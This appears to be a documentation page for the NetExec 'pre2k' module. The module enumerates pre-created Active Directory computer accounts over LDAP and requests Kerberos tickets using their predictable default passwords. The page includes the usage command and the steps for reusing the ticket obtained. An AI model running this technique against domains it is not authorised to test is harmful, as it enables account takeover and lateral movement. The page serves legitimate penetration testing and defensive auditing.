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# Pre2k Computer Account Abuse

Identifies **pre-created computer accounts** in Active Directory and attempts to obtain **Kerberos TGTs** using their default machine password.

Targets computer objects with:

* `objectClass=computer`
* `userAccountControl=4128` (WORKSTATION\_TRUST\_ACCOUNT + PASSWD\_NOTREQD)

The module:

1. Enumerates possibly vulnerable computer accounts via LDAP
2. Saves discovered accounts to file
3. Attempts TGT request using password = first 14 chars of hostname (lowercase)
4. Saves valid tickets as `.ccache`

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#### Usage

```bash
nxc ldap <hostname> -u <user> -p <pass> -M pre2k
```

#### Output:

Discovered accounts:

```bash
~/.nxc/modules/pre2k/<domain>/precreated_computers.txt
```

Kerberos tickets:

```bash
~/.nxc/modules/pre2k/ccache/<machine>.ccache
```

### Using the forged ticket

```bash
export KRB5CCNAME=<machine>.ccache
nxc ldap <dc> --use-kcache
```

#### References:

{% embed url="<https://trustedsec.com/blog/diving-into-pre-created-computer-accounts>" %}


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